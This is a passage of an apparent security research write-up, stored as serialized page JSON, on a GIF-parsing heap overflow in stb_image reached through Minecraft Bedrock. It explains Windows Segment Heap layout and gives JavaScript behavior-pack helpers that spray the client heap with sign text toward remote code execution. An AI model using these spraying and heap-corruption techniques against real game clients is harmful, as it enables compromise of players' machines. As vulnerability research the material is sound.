"type":24,"value":32222},{"type":19,"tag":20,"props":146839,"children":146840},{},[146841,146842,146847,146849,146854,146856,146861],{"type":24,"value":21482},{"type":19,"tag":27,"props":146843,"children":146845},{"className":146844},[],[146846],{"type":24,"value":146198},{"type":24,"value":146848}," has to set the last byte to ",{"type":19,"tag":27,"props":146850,"children":146852},{"className":146851},[],[146853],{"type":24,"value":110830},{"type":24,"value":146855}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":19,"tag":27,"props":146857,"children":146859},{"className":146858},[],[146860],{"type":24,"value":110830},{"type":24,"value":948},{"type":19,"tag":20,"props":146863,"children":146864},{},[146865,146867,146872,146874,146880,146881,146887],{"type":24,"value":146866},"In the code we can see that size of the ",{"type":19,"tag":27,"props":146868,"children":146870},{"className":146869},[],[146871],{"type":24,"value":145655},{"type":24,"value":146873}," allocation is controlled through ",{"type":19,"tag":27,"props":146875,"children":146877},{"className":146876},[],[146878],{"type":24,"value":146879},"g->w",{"type":24,"value":8436},{"type":19,"tag":27,"props":146882,"children":146884},{"className":146883},[],[146885],{"type":24,"value":146886},"g->h",{"type":24,"value":146888}," values, both of which are read from the input file itself:",{"type":19,"tag":158,"props":146890,"children":146892},{"code":146891,"language":543,"meta":7,"className":13963,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n [...]\n if (g->out == 0) {\n if (!stbi__gif_header(s, g, comp,0)) return 0;\n g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[146893],{"type":19,"tag":27,"props":146894,"children":146895},{"__ignoreMap":7},[146896,146921,146928,146935,146970,147016],{"type":19,"tag":168,"props":146897,"children":146898},{"class":170,"line":171},[146899,146903,146908,146912,146916],{"type":19,"tag":168,"props":146900,"children":146901},{"style":382},[146902],{"type":24,"value":48527},{"type":19,"tag":168,"props":146904,"children":146905},{"style":212},[146906],{"type":24,"value":146907}," stbi_uc ",{"type":19,"tag":168,"props":146909,"children":146910},{"style":399},[146911],{"type":24,"value":2002},{"type":19,"tag":168,"props":146913,"children":146914},{"style":175},[146915],{"type":24,"value":144834},{"type":19,"tag":168,"props":146917,"children":146918},{"style":212},[146919],{"type":24,"value":146920},"(...)\n",{"type":19,"tag":168,"props":146922,"children":146923},{"class":170,"line":198},[146924],{"type":19,"tag":168,"props":146925,"children":146926},{"style":212},[146927],{"type":24,"value":8324},{"type":19,"tag":168,"props":146929,"children":146930},{"class":170,"line":415},[146931],{"type":19,"tag":168,"props":146932,"children":146933},{"style":212},[146934],{"type":24,"value":145396},{"type":19,"tag":168,"props":146936,"children":146937},{"class":170,"line":450},[146938,146942,146946,146950,146954,146958,146962,146966],{"type":19,"tag":168,"props":146939,"children":146940},{"style":419},[146941],{"type":24,"value":50127},{"type":19,"tag":168,"props":146943,"children":146944},{"style":212},[146945],{"type":24,"value":461},{"type":19,"tag":168,"props":146947,"children":146948},{"style":393},[146949],{"type":24,"value":106785},{"type":19,"tag":168,"props":146951,"children":146952},{"style":212},[146953],{"type":24,"value":11203},{"type":19,"tag":168,"props":146955,"children":146956},{"style":393},[146957],{"type":24,"value":116208},{"type":19,"tag":168,"props":146959,"children":146960},{"style":399},[146961],{"type":24,"value":682},{"type":19,"tag":168,"props":146963,"children":146964},{"style":192},[146965],{"type":24,"value":437},{"type":19,"tag":168,"props":146967,"children":146968},{"style":212},[146969],{"type":24,"value":12250},{"type":19,"tag":168,"props":146971,"children":146972},{"class":170,"line":560},[146973,146977,146981,146985,146990,146995,146999,147004,147008,147012],{"type":19,"tag":168,"props":146974,"children":146975},{"style":419},[146976],{"type":24,"value":36762},{"type":19,"tag":168,"props":146978,"children":146979},{"style":212},[146980],{"type":24,"value":461},{"type":19,"tag":168,"props":146982,"children":146983},{"style":399},[146984],{"type":24,"value":18076},{"type":19,"tag":168,"props":146986,"children":146987},{"style":175},[146988],{"type":24,"value":146989},"stbi__gif_header",{"type":19,"tag":168,"props":146991,"children":146992},{"style":212},[146993],{"type":24,"value":146994},"(s, g, comp,",{"type":19,"tag":168,"props":146996,"children":146997},{"style":192},[146998],{"type":24,"value":1452},{"type":19,"tag":168,"props":147000,"children":147001},{"style":212},[147002],{"type":24,"value":147003},")) ",{"type":19,"tag":168,"props":147005,"children":147006},{"style":419},[147007],{"type":24,"value":45939},{"type":19,"tag":168,"props":147009,"children":147010},{"style":192},[147011],{"type":24,"value":437},{"type":19,"tag":168,"props":147013,"children":147014},{"style":212},[147015],{"type":24,"value":412},{"type":19,"tag":168,"props":147017,"children":147018},{"class":170,"line":666},[147019,147024,147028,147032,147036,147041,147045,147049,147054,147058,147062,147066,147070,147074,147078,147082,147086,147090,147094],{"type":19,"tag":168,"props":147020,"children":147021},{"style":393},[147022],{"type":24,"value":147023}," g",{"type":19,"tag":168,"props":147025,"children":147026},{"style":212},[147027],{"type":24,"value":11203},{"type":19,"tag":168,"props":147029,"children":147030},{"style":393},[147031],{"type":24,"value":116208},{"type":19,"tag":168,"props":147033,"children":147034},{"style":399},[147035],{"type":24,"value":402},{"type":19,"tag":168,"props":147037,"children":147038},{"style":212},[147039],{"type":24,"value":147040}," (stbi_uc ",{"type":19,"tag":168,"props":147042,"children":147043},{"style":399},[147044],{"type":24,"value":2002},{"type":19,"tag":168,"props":147046,"children":147047},{"style":212},[147048],{"type":24,"value":481},{"type":19,"tag":168,"props":147050,"children":147051},{"style":175},[147052],{"type":24,"value":147053},"stbi__malloc",{"type":19,"tag":168,"props":147055,"children":147056},{"style":212},[147057],{"type":24,"value":500},{"type":19,"tag":168,"props":147059,"children":147060},{"style":192},[147061],{"type":24,"value":14978},{"type":19,"tag":168,"props":147063,"children":147064},{"style":399},[147065],{"type":24,"value":7259},{"type":19,"tag":168,"props":147067,"children":147068},{"style":393},[147069],{"type":24,"value":145436},{"type":19,"tag":168,"props":147071,"children":147072},{"style":212},[147073],{"type":24,"value":11203},{"type":19,"tag":168,"props":147075,"children":147076},{"style":393},[147077],{"type":24,"value":47054},{"type":19,"tag":168,"props":147079,"children":147080},{"style":399},[147081],{"type":24,"value":7259},{"type":19,"tag":168,"props":147083,"children":147084},{"style":393},[147085],{"type":24,"value":145436},{"type":19,"tag":168,"props":147087,"children":147088},{"style":212},[147089],{"type":24,"value":11203},{"type":19,"tag":168,"props":147091,"children":147092},{"style":393},[147093],{"type":24,"value":81834},{"type":19,"tag":168,"props":147095,"children":147096},{"style":212},[147097],{"type":24,"value":1249},{"type":19,"tag":20,"props":147099,"children":147100},{},[147101,147103,147108,147110,147115],{"type":24,"value":147102},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":19,"tag":27,"props":147104,"children":147106},{"className":147105},[],[147107],{"type":24,"value":145655},{"type":24,"value":147109}," and the value of ",{"type":19,"tag":27,"props":147111,"children":147113},{"className":147112},[],[147114],{"type":24,"value":20},{"type":24,"value":147116}," just before the OOB write happens:",{"type":19,"tag":158,"props":147118,"children":147120},{"code":147119},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[147121],{"type":19,"tag":27,"props":147122,"children":147123},{"__ignoreMap":7},[147124],{"type":24,"value":147119},{"type":19,"tag":20,"props":147126,"children":147127},{},[147128,147130,147135,147137,147142],{"type":24,"value":147129},"There are multiple within-bound writes to ",{"type":19,"tag":27,"props":147131,"children":147133},{"className":147132},[],[147134],{"type":24,"value":20},{"type":24,"value":147136},", but the last write happens just after the ",{"type":19,"tag":27,"props":147138,"children":147140},{"className":147139},[],[147141],{"type":24,"value":145655},{"type":24,"value":147143}," allocation.",{"type":19,"tag":7050,"props":147145,"children":147147},{"id":147146},"summarizing-the-corruption",[147148],{"type":24,"value":147149},"Summarizing the Corruption",{"type":19,"tag":43,"props":147151,"children":147152},{},[147153,147166,147194],{"type":19,"tag":47,"props":147154,"children":147155},{},[147156,147158,147164],{"type":24,"value":147157},"A single ",{"type":19,"tag":27,"props":147159,"children":147161},{"className":147160},[],[147162],{"type":24,"value":147163},"0x01",{"type":24,"value":147165}," byte write OOB",{"type":19,"tag":47,"props":147167,"children":147168},{},[147169,147171],{"type":24,"value":147170},"4-byte OOB write just above the allocated buffer\n",{"type":19,"tag":43,"props":147172,"children":147173},{},[147174,147179,147189],{"type":19,"tag":47,"props":147175,"children":147176},{},[147177],{"type":24,"value":147178},"First three bytes are controllable",{"type":19,"tag":47,"props":147180,"children":147181},{},[147182,147184],{"type":24,"value":147183},"Last byte will be ",{"type":19,"tag":27,"props":147185,"children":147187},{"className":147186},[],[147188],{"type":24,"value":110830},{"type":19,"tag":47,"props":147190,"children":147191},{},[147192],{"type":24,"value":147193},"Size of the allocation is controlled",{"type":19,"tag":47,"props":147195,"children":147196},{},[147197,147199],{"type":24,"value":147198},"Both corruptions are done on a short-lived allocation\n",{"type":19,"tag":43,"props":147200,"children":147201},{},[147202,147207],{"type":19,"tag":47,"props":147203,"children":147204},{},[147205],{"type":24,"value":147206},"Allocated just before the image-parsing process",{"type":19,"tag":47,"props":147208,"children":147209},{},[147210],{"type":24,"value":147211},"Freed immediately upon parsing completion",{"type":19,"tag":16245,"props":147213,"children":147214},{},[],{"type":19,"tag":20,"props":147216,"children":147217},{},[147218,147220,147227,147229,147236],{"type":24,"value":147219},"Note that this bug was already found before (",{"type":19,"tag":269,"props":147221,"children":147224},{"href":147222,"rel":147223},"https://github.com/nothings/stb/issues/656",[273],[147225],{"type":24,"value":147226},"Github Issue",{"type":24,"value":147228},") but we missed it at the time. It was later fixed in ",{"type":19,"tag":269,"props":147230,"children":147233},{"href":147231,"rel":147232},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[273],[147234],{"type":24,"value":147235},"this commit",{"type":24,"value":948},{"type":19,"tag":36,"props":147238,"children":147239},{"id":2851},[147240],{"type":24,"value":2854},{"type":19,"tag":20,"props":147242,"children":147243},{},[147244],{"type":24,"value":147245},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":19,"tag":20,"props":147247,"children":147248},{},[147249],{"type":24,"value":147250},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":19,"tag":7050,"props":147252,"children":147254},{"id":147253},"searching-for-better-primitives",[147255],{"type":24,"value":147256},"Searching for Better Primitives",{"type":19,"tag":20,"props":147258,"children":147259},{},[147260],{"type":24,"value":147261},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":19,"tag":20,"props":147263,"children":147264},{},[147265,147267,147274],{"type":24,"value":147266},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":19,"tag":269,"props":147268,"children":147271},{"href":147269,"rel":147270},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[273],[147272],{"type":24,"value":147273},"UWP",{"type":24,"value":147275}," applications (such as Minecraft Bedrock Edition).",{"type":19,"tag":7050,"props":147277,"children":147279},{"id":147278},"segment-heap",[147280],{"type":24,"value":147281},"Segment Heap",{"type":19,"tag":20,"props":147283,"children":147284},{},[147285,147287,147294],{"type":24,"value":147286},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":19,"tag":269,"props":147288,"children":147291},{"href":147289,"rel":147290},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[273],[147292],{"type":24,"value":147293},"this talk",{"type":24,"value":147295}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":19,"tag":16345,"props":147297,"children":147299},{"id":147298},"low-fragmentation-heap",[147300],{"type":24,"value":147301},"Low Fragmentation Heap",{"type":19,"tag":20,"props":147303,"children":147304},{},[147305,147307,147313],{"type":24,"value":147306},"Low Fragmentation Heap (LFH) services allocations of ",{"type":19,"tag":27,"props":147308,"children":147310},{"className":147309},[],[147311],{"type":24,"value":147312},"0x3ff0",{"type":24,"value":147314}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":19,"tag":20,"props":147316,"children":147317},{},[147318],{"type":24,"value":147319},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":19,"tag":158,"props":147321,"children":147323},{"code":147322}," +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[147324],{"type":19,"tag":27,"props":147325,"children":147326},{"__ignoreMap":7},[147327],{"type":24,"value":147322},{"type":19,"tag":20,"props":147329,"children":147330},{},[147331],{"type":24,"value":147332},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":19,"tag":16345,"props":147334,"children":147336},{"id":147335},"variable-size",[147337],{"type":24,"value":147338},"Variable Size",{"type":19,"tag":20,"props":147340,"children":147341},{},[147342,147344,147350,147352,147358],{"type":24,"value":147343},"This subsegment is used for allocation sizes from ",{"type":19,"tag":27,"props":147345,"children":147347},{"className":147346},[],[147348],{"type":24,"value":147349},"0x4000",{"type":24,"value":147351}," and up to ",{"type":19,"tag":27,"props":147353,"children":147355},{"className":147354},[],[147356],{"type":24,"value":147357},"0x20_000",{"type":24,"value":147359},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":19,"tag":158,"props":147361,"children":147363},{"code":147362}," +-------------------------+\n Chunk A ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\n Chunk B ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[147364],{"type":19,"tag":27,"props":147365,"children":147366},{"__ignoreMap":7},[147367],{"type":24,"value":147362},{"type":19,"tag":20,"props":147369,"children":147370},{},[147371,147373,147379],{"type":24,"value":147372},"The header, ",{"type":19,"tag":27,"props":147374,"children":147376},{"className":147375},[],[147377],{"type":24,"value":147378},"HEAP_VS_CHUNK_HEADER",{"type":24,"value":147380},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":19,"tag":16245,"props":147382,"children":147383},{},[],{"type":19,"tag":20,"props":147385,"children":147386},{},[147387],{"type":24,"value":147388},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":19,"tag":20,"props":147390,"children":147391},{},[147392,147394,147401],{"type":24,"value":147393},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":19,"tag":269,"props":147395,"children":147398},{"href":147396,"rel":147397},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[273],[147399],{"type":24,"value":147400},"technique published",{"type":24,"value":147402}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":19,"tag":20,"props":147404,"children":147405},{},[147406],{"type":24,"value":147407},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":19,"tag":20,"props":147409,"children":147410},{},[147411],{"type":24,"value":147412},"In either case, we needed a way to spray the heap before we could proceed.",{"type":19,"tag":7050,"props":147414,"children":147416},{"id":147415},"finding-a-way-to-spray-the-heap",[147417],{"type":24,"value":147418},"Finding a Way to Spray the Heap",{"type":19,"tag":20,"props":147420,"children":147421},{},[147422],{"type":24,"value":147423},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":19,"tag":43,"props":147425,"children":147426},{},[147427,147432,147437,147442],{"type":19,"tag":47,"props":147428,"children":147429},{},[147430],{"type":24,"value":147431},"The size of the allocation",{"type":19,"tag":47,"props":147433,"children":147434},{},[147435],{"type":24,"value":147436},"The data written into the allocated buffer",{"type":19,"tag":47,"props":147438,"children":147439},{},[147440],{"type":24,"value":147441},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":19,"tag":47,"props":147443,"children":147444},{},[147445],{"type":24,"value":147446},"The number of created objects (preferably unbounded)",{"type":19,"tag":20,"props":147448,"children":147449},{},[147450],{"type":24,"value":147451},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":19,"tag":16345,"props":147453,"children":147455},{"id":147454},"minecraft-signs",[147456],{"type":24,"value":147457},"Minecraft Signs",{"type":19,"tag":20,"props":147459,"children":147460},{},[147461],{"type":24,"value":147462},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":19,"tag":20,"props":147464,"children":147465},{},[147466,147468,147474],{"type":24,"value":147467},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":19,"tag":27,"props":147469,"children":147471},{"className":147470},[],[147472],{"type":24,"value":147473},"std::string",{"type":24,"value":948},{"type":19,"tag":20,"props":147476,"children":147477},{},[147478,147480,147485],{"type":24,"value":147479},"In Microsoft’s C++ implementation, ",{"type":19,"tag":27,"props":147481,"children":147483},{"className":147482},[],[147484],{"type":24,"value":147473},{"type":24,"value":147486}," is structured roughly as follows:",{"type":19,"tag":158,"props":147488,"children":147490},{"code":147489,"language":543,"meta":7,"className":13963,"style":7},"struct string\n{\n union {\n char* ptr;\n char buf[16];\n };\n size_t size;\n size_t capacity;\n};\n",[147491],{"type":19,"tag":27,"props":147492,"children":147493},{"__ignoreMap":7},[147494,147505,147512,147524,147540,147564,147571,147582,147594],{"type":19,"tag":168,"props":147495,"children":147496},{"class":170,"line":171},[147497,147501],{"type":19,"tag":168,"props":147498,"children":147499},{"style":382},[147500],{"type":24,"value":6842},{"type":19,"tag":168,"props":147502,"children":147503},{"style":212},[147504],{"type":24,"value":82533},{"type":19,"tag":168,"props":147506,"children":147507},{"class":170,"line":198},[147508],{"type":19,"tag":168,"props":147509,"children":147510},{"style":212},[147511],{"type":24,"value":8324},{"type":19,"tag":168,"props":147513,"children":147514},{"class":170,"line":415},[147515,147520],{"type":19,"tag":168,"props":147516,"children":147517},{"style":382},[147518],{"type":24,"value":147519}," union",{"type":19,"tag":168,"props":147521,"children":147522},{"style":212},[147523],{"type":24,"value":691},{"type":19,"tag":168,"props":147525,"children":147526},{"class":170,"line":450},[147527,147532,147536],{"type":19,"tag":168,"props":147528,"children":147529},{"style":382},[147530],{"type":24,"value":147531}," char",{"type":19,"tag":168,"props":147533,"children":147534},{"style":399},[147535],{"type":24,"value":2002},{"type":19,"tag":168,"props":147537,"children":147538},{"style":212},[147539],{"type":24,"value":14005},{"type":19,"tag":168,"props":147541,"children":147542},{"class":170,"line":560},[147543,147547,147552,147556,147560],{"type":19,"tag":168,"props":147544,"children":147545},{"style":382},[147546],{"type":24,"value":147531},{"type":19,"tag":168,"props":147548,"children":147549},{"style":393},[147550],{"type":24,"value":147551}," buf",{"type":19,"tag":168,"props":147553,"children":147554},{"style":212},[147555],{"type":24,"value":1152},{"type":19,"tag":168,"props":147557,"children":147558},{"style":192},[147559],{"type":24,"value":38323},{"type":19,"tag":168,"props":147561,"children":147562},{"style":212},[147563],{"type":24,"value":29046},{"type":19,"tag":168,"props":147565,"children":147566},{"class":170,"line":666},[147567],{"type":19,"tag":168,"props":147568,"children":147569},{"style":212},[147570],{"type":24,"value":36472},{"type":19,"tag":168,"props":147572,"children":147573},{"class":170,"line":694},[147574,147578],{"type":19,"tag":168,"props":147575,"children":147576},{"style":382},[147577],{"type":24,"value":14013},{"type":19,"tag":168,"props":147579,"children":147580},{"style":212},[147581],{"type":24,"value":122089},{"type":19,"tag":168,"props":147583,"children":147584},{"class":170,"line":707},[147585,147589],{"type":19,"tag":168,"props":147586,"children":147587},{"style":382},[147588],{"type":24,"value":14013},{"type":19,"tag":168,"props":147590,"children":147591},{"style":212},[147592],{"type":24,"value":147593}," capacity;\n",{"type":19,"tag":168,"props":147595,"children":147596},{"class":170,"line":725},[147597],{"type":19,"tag":168,"props":147598,"children":147599},{"style":212},[147600],{"type":24,"value":14026},{"type":19,"tag":20,"props":147602,"children":147603},{},[147604,147606,147612,147614,147619],{"type":24,"value":147605},"We are primarily interested in the union: ",{"type":19,"tag":27,"props":147607,"children":147609},{"className":147608},[],[147610],{"type":24,"value":147611},"buf",{"type":24,"value":147613}," is used when the string fits within 16 bytes, while ",{"type":19,"tag":27,"props":147615,"children":147617},{"className":147616},[],[147618],{"type":24,"value":11395},{"type":24,"value":147620}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":19,"tag":20,"props":147622,"children":147623},{},[147624],{"type":24,"value":147625},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":19,"tag":20,"props":147627,"children":147628},{},[147629],{"type":24,"value":147630},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":19,"tag":16345,"props":147632,"children":147634},{"id":147633},"spraying-with-server-side-scripting",[147635],{"type":24,"value":147636},"Spraying With Server-Side Scripting",{"type":19,"tag":20,"props":147638,"children":147639},{},[147640],{"type":24,"value":147641},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":19,"tag":20,"props":147643,"children":147644},{},[147645,147647,147653,147654,147660],{"type":24,"value":147646},"We wrote ",{"type":19,"tag":27,"props":147648,"children":147650},{"className":147649},[],[147651],{"type":24,"value":147652},"alloc",{"type":24,"value":8436},{"type":19,"tag":27,"props":147655,"children":147657},{"className":147656},[],[147658],{"type":24,"value":147659},"free",{"type":24,"value":147661}," helpers that trigger an allocation in the client and free it on demand:",{"type":19,"tag":158,"props":147663,"children":147665},{"code":147664,"language":33090,"meta":7,"className":33088,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n for (let sign of signs) {\n if (sign.allocated || sign.removed) {\n continue;\n }\n\n sign.sign.setText(fill.repeat(size - 1));\n sign.allocated = true;\n return sign;\n }\n\n console.warn(\"No more allocs\");\n return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n if (sign == undefined || sign.allocated == false) {\n return;\n }\n\n sign.sign.setText(\"\");\n sign.allocated = false;\n\n sign.block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n sign.removed = true;\n}\n",[147666],{"type":19,"tag":27,"props":147667,"children":147668},{"__ignoreMap":7},[147669,147677,147719,147752,147797,147809,147816,147823,147884,147911,147926,147933,147940,147969,147984,147991,147998,148006,148030,148081,148092,148099,148106,148143,148170,148177,148206,148236,148243,148270],{"type":19,"tag":168,"props":147670,"children":147671},{"class":170,"line":171},[147672],{"type":19,"tag":168,"props":147673,"children":147674},{"style":373},[147675],{"type":24,"value":147676},"// Allocate sign text in the client\n",{"type":19,"tag":168,"props":147678,"children":147679},{"class":170,"line":198},[147680,147684,147689,147693,147697,147701,147706,147710,147715],{"type":19,"tag":168,"props":147681,"children":147682},{"style":382},[147683],{"type":24,"value":28849},{"type":19,"tag":168,"props":147685,"children":147686},{"style":175},[147687],{"type":24,"value":147688}," alloc",{"type":19,"tag":168,"props":147690,"children":147691},{"style":212},[147692],{"type":24,"value":500},{"type":19,"tag":168,"props":147694,"children":147695},{"style":393},[147696],{"type":24,"value":121747},{"type":19,"tag":168,"props":147698,"children":147699},{"style":212},[147700],{"type":24,"value":471},{"type":19,"tag":168,"props":147702,"children":147703},{"style":393},[147704],{"type":24,"value":147705},"fill",{"type":19,"tag":168,"props":147707,"children":147708},{"style":399},[147709],{"type":24,"value":486},{"type":19,"tag":168,"props":147711,"children":147712},{"style":181},[147713],{"type":24,"value":147714},"\"A\"",{"type":19,"tag":168,"props":147716,"children":147717},{"style":212},[147718],{"type":24,"value":12250},{"type":19,"tag":168,"props":147720,"children":147721},{"class":170,"line":415},[147722,147726,147730,147734,147739,147743,147748],{"type":19,"tag":168,"props":147723,"children":147724},{"style":419},[147725],{"type":24,"value":422},{"type":19,"tag":168,"props":147727,"children":147728},{"style":212},[147729],{"type":24,"value":461},{"type":19,"tag":168,"props":147731,"children":147732},{"style":382},[147733],{"type":24,"value":9232},{"type":19,"tag":168,"props":147735,"children":147736},{"style":393},[147737],{"type":24,"value":147738}," sign",{"type":19,"tag":168,"props":147740,"children":147741},{"style":382},[147742],{"type":24,"value":7806},{"type":19,"tag":168,"props":147744,"children":147745},{"style":393},[147746],{"type":24,"value":147747}," signs",{"type":19,"tag":168,"props":147749,"children":147750},{"style":212},[147751],{"type":24,"value":12250},{"type":19,"tag":168,"props":147753,"children":147754},{"class":170,"line":450},[147755,147759,147763,147768,147772,147777,147781,147785,147789,147793],{"type":19,"tag":168,"props":147756,"children":147757},{"style":419},[147758],{"type":24,"value":672},{"type":19,"tag":168,"props":147760,"children":147761},{"style":212},[147762],{"type":24,"value":461},{"type":19,"tag":168,"props":147764,"children":147765},{"style":393},[147766],{"type":24,"value":147767},"sign",{"type":19,"tag":168,"props":147769,"children":147770},{"style":212},[147771],{"type":24,"value":948},{"type":19,"tag":168,"props":147773,"children":147774},{"style":393},[147775],{"type":24,"value":147776},"allocated",{"type":19,"tag":168,"props":147778,"children":147779},{"style":399},[147780],{"type":24,"value":21164},{"type":19,"tag":168,"props":147782,"children":147783},{"style":393},[147784],{"type":24,"value":147738},{"type":19,"tag":168,"props":147786,"children":147787},{"style":212},[147788],{"type":24,"value":948},{"type":19,"tag":168,"props":147790,"children":147791},{"style":393},[147792],{"type":24,"value":130452},{"type":19,"tag":168,"props":147794,"children":147795},{"style":212},[147796],{"type":24,"value":12250},{"type":19,"tag":168,"props":147798,"children":147799},{"class":170,"line":560},[147800,147805],{"type":19,"tag":168,"props":147801,"children":147802},{"style":419},[147803],{"type":24,"value":147804}," continue",{"type":19,"tag":168,"props":147806,"children":147807},{"style":212},[147808],{"type":24,"value":412},{"type":19,"tag":168,"props":147810,"children":147811},{"class":170,"line":666},[147812],{"type":19,"tag":168,"props":147813,"children":147814},{"style":212},[147815],{"type":24,"value":752},{"type":19,"tag":168,"props":147817,"children":147818},{"class":170,"line":694},[147819],{"type":19,"tag":168,"props":147820,"children":147821},{"emptyLinePlaceholder":14},[147822],{"type":24,"value":1093},{"type":19,"tag":168,"props":147824,"children":147825},{"class":170,"line":707},[147826,147831,147835,147839,147843,147848,147852,147856,147860,147864,147868,147872,147876,147880],{"type":19,"tag":168,"props":147827,"children":147828},{"style":393},[147829],{"type":24,"value":147830}," sign",{"type":19,"tag":168,"props":147832,"children":147833},{"style":212},[147834],{"type":24,"value":948},{"type":19,"tag":168,"props":147836,"children":147837},{"style":393},[147838],{"type":24,"value":147767},{"type":19,"tag":168,"props":147840,"children":147841},{"style":212},[147842],{"type":24,"value":948},{"type":19,"tag":168,"props":147844,"children":147845},{"style":175},[147846],{"type":24,"value":147847},"setText",{"type":19,"tag":168,"props":147849,"children":147850},{"style":212},[147851],{"type":24,"value":500},{"type":19,"tag":168,"props":147853,"children":147854},{"style":393},[147855],{"type":24,"value":147705},{"type":19,"tag":168,"props":147857,"children":147858},{"style":212},[147859],{"type":24,"value":948},{"type":19,"tag":168,"props":147861,"children":147862},{"style":175},[147863],{"type":24,"value":130702},{"type":19,"tag":168,"props":147865,"children":147866},{"style":212},[147867],{"type":24,"value":500},{"type":19,"tag":168,"props":147869,"children":147870},{"style":393},[147871],{"type":24,"value":121747},{"type":19,"tag":168,"props":147873,"children":147874},{"style":399},[147875],{"type":24,"value":48738},{"type":19,"tag":168,"props":147877,"children":147878},{"style":192},[147879],{"type":24,"value":1954},{"type":19,"tag":168,"props":147881,"children":147882},{"style":212},[147883],{"type":24,"value":4659},{"type":19,"tag":168,"props":147885,"children":147886},{"class":170,"line":725},[147887,147891,147895,147899,147903,147907],{"type":19,"tag":168,"props":147888,"children":147889},{"style":393},[147890],{"type":24,"value":147830},{"type":19,"tag":168,"props":147892,"children":147893},{"style":212},[147894],{"type":24,"value":948},{"type":19,"tag":168,"props":147896,"children":147897},{"style":393},[147898],{"type":24,"value":147776},{"type":19,"tag":168,"props":147900,"children":147901},{"style":399},[147902],{"type":24,"value":402},{"type":19,"tag":168,"props":147904,"children":147905},{"style":382},[147906],{"type":24,"value":9914},{"type":19,"tag":168,"props":147908,"children":147909},{"style":212},[147910],{"type":24,"value":412},{"type":19,"tag":168,"props":147912,"children":147913},{"class":170,"line":746},[147914,147918,147922],{"type":19,"tag":168,"props":147915,"children":147916},{"style":419},[147917],{"type":24,"value":13192},{"type":19,"tag":168,"props":147919,"children":147920},{"style":393},[147921],{"type":24,"value":147738},{"type":